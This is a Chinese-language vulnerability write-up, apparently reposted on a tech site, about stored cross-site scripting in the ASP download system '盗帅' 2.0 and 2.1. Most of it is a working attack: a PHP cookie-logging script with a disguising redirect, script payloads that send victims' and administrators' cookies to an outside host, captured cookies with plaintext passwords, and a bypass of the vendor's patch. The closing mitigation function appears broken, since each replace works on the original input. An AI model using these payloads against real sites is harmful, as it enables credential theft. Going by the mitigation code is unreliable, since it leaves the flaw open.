盗帅下载系统是一个使用比较广泛的ASP程序,开发者经过修改后在10月6号发布了盗帅2.0正式版,解决了以前存在的大部分SQL injection漏洞.上次在找盗帅2.0的注入漏洞时,就发现盗帅下载系统的COOKIE是明文保存的,就想试试有没有跨站攻击漏洞.正好这几天放假,把程序翻出来看了看,果然程序几乎没有对跨站攻击进行防范。
漏洞描述:
先粗略看了一下link.asp的代码,这个文件中仅仅对输入做了不能为空的限制,而对于特殊字符却没有任何防范,而且作者也允许JS和flash代码,应该是作者的大意造成了这个漏洞。我们可以通过插入<script>alert("test")</script>来证明这个漏洞是否存在.在首页进入申请连接.在网站介绍那里加入,再看看,是不是出来了一个警告窗口?
但是我们的目的是得到我们想要的COOKIE信息.先找一个支持PHP的空间把我们用来截取COOKIE信息的文件传上去.这里设我们的空间服务器IP为192.168.1.1.PHP文件代码如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("test.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
?>
<script language=vbscript>
document.location="http://www.ad.com/";
</script>
以上代码保存为cookie.php,其中test.txt是我们保存COOKIE信息的文件http://www.ad.com/是起转向功能的,具体你自己写吧,爱转那转那.推荐转到一个广告或目标首页什么的,这样不容易被怀疑.当然你也可以通过JS来实现窗口最小化或自动关闭窗口来达到隐藏的目的。然后我们只要在网站介绍那里添加:
<script>window.open('http://192.168.1.1/cookie.PHP?'+document.cookie);</script>
这样当用户浏览友情连接的时候,就会弹出窗口并且把他COOKIE中的用户名和密码截取并保存到test.txt中去了。不过并没有我们希望的那样顺利哦,递交的时候出了点问题,显示如下错误信息:
语法错误 (操作符丢失) 在查询表达式 ''script>window.open('http://192.168.1.1/cookie.PHP?'+document.cookie);</script>'' 中,呵呵,开始我以为是'把SQL语句搞乱了,在这里郁闷了一段时间,后来再仔细看了看代码,看到这么一段:
~~~~~~~~~~省去一部分
conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,boolLinShow,dateTimers) values('"& strLinName &"','"& strLinUrl &"',"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",0,'"& strLinTitle &"','"& strLinPic &"',False,'"& now() &"')")
~~~~~~~~~~~~~省去一部分
由于使用了insert into所以我们递交语句的时候要记得把单引号'换成2个单引号'',把语句中的单引号替换,递交,成功。
这是我截取到的一部分代码:
The+Cool+Site=lao=15;%20nicedown=pws=1111&admin=1111;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15;%20nicedown=pws=1111&admin=1111;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15;%20nicedown=pws=admin&admin=admin;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15;%20nicedown=pws=admin&admin=admin;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
看pws=1111&admin=1111中,pws后面的是密码(明文的),admin后面的是用户名.
再来看看在那些地方可以通过flash跨站来达到我们的目的,友情连接页面同样允许使用flash;程序中软件信息页面中程序简介是可以贴flash和其他多媒体标签的发散一下是不是可以把动网的一些漏洞“移植”到这里来呢?如多媒体标签未过滤漏洞,不过我没试有兴趣的朋友可以自己看看。在这2个地方我们都可以通过贴flash来得到我们想要的cookie信息,具体使用的代码大家可以看LIlo/sandflee写的“Flash跨站攻击研究”一文。
本来文章到这里也应该结束了,我也马上告诉了帝国入侵者漏洞的一些情况,大概是2个星期后他也发布了声称修补了以前所有漏洞的盗帅2.1版。正巧,我把这篇文章发给安全天使的angel看后,angel也去看了看所谓的2.1版,发现他们写的补丁程序中过滤并不十分严格(我还以为作者经过我又是举例又是推荐好文章给他看之后,终于明白该怎么做了哦,汗~~~~)提醒我再去试试,果然2.1版中我们仍然可以跨站来得到用户密码。感谢angel的指导~
我们看代码,2.0的是这样写的:
if Request.Form("strLinTitle")<>"" then
strLinTitle=Request.Form("strLinTitle")
else
MsgErrLink=MsgErrLink&"<li>网站介绍不能为空"
end if
2.1是这样写的:
if Request.Form("strLinTitle")<>"" then
if instr(Request.Form("strLinTitle"),".cookies")>0 then
MsgErrLink=MsgErrLink&"<li>请勿输入非法字符"
else
strLinTitle=Request.Form("strLinTitle")
end if
else
MsgErrLink=MsgErrLink&"<li>网站介绍不能为空"
end if
再看看
conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,boolLinShow,dateTimers) values('"& strLinName &"','"& strLinUrl &"',"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",0,'"& replace(strLinTitle,".cookies","") &"','"& strLinPic &"',False,'"& now() &"')")
看起来几乎和原来的代码就多了点对strLinTitle的判断,发现如果有.cookies就会提示“请勿输入非法字符”,其实这样根本不能使程序避免跨站攻击的问题。即使解决了COOKIE密码泄露的问题,那我们不去递交得到密码的语句,而递交一个格盘或指向其他网站的网页木马的语句呢?不言而喻,结果难以想象。另外,从2.0的原始发布版我就一直在提醒作者把COOKIE的密码等敏感信息加密,增加安全性;但是不知道是什么原因,在之后推出的各个补丁包括2.1版在内,作者都没有对COOKIE进行加密,不知是什么缘故。
程序最大的改变也就是加强了验证的过程,递交连接后需要通过管理员审核才会在link.asp中显示出来。而我们仍然可以递交这样的语句来达到目的,在申请连接的页面中“网站介绍”那里输入一下代码:
<script>window.open(''http://localhost/cookie.PHP?''+document.cookie);</script>
点击递交,而这个时候作者的过滤语句并没有起到什么作用,我们的语句也就直接递交进去了,当管理员进入友情连接的管理页面的时候,COOKIE即被我们获得,解决方法:
angel提供了这样的一段代码来过滤特殊字符,可以根据实际情况添加需要过滤的字符:
function checkStr(str)
if isnull(str) then
checkStr = ""
exit function
end if
checkStr=replace(str,"'","")
checkStr=replace(str,";","")
checkStr=replace(str,"--","")
checkStr=replace(str,"<","<")
checkStr=replace(str,">",">")
checkStr=replace(str," "," ")
checkStr=replace(str,"javascript","/javascript")
checkStr=replace(str,"cookie","/cookie")
checkStr=replace(str,"document","/document")
end function
这样才可以比较稳妥的避免类似攻击,这套程序的问题频繁出现和作者的安全意识是分不开的,所以希望一些ASP程序员在编写程序的时候能够注意一些这样的安全问题,来提高程序的安全性。
相关视频
相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么
热门文章 没有查询到任何记录。
最新文章
防止DdoS攻击:通过路解析卡巴斯基特色之漏
网站被sql注入的修复方法Ubuntu破解Windows和防护的三种方法防黑客qq改密码技巧如何保证Foxmail泄露邮箱密码安全
人气排行 路由器被劫持怎么办?路由器DNS被黑客篡改怎防止DdoS攻击:通过路由器绕过DDoS防御攻击如何彻底清除电脑病毒?如何使用无忧隐藏无线路由防蹭网办法车模兽兽激情视频下载暗藏木马使用四款防黑客软件的体会怎么防止木马入侵
查看所有0条评论>>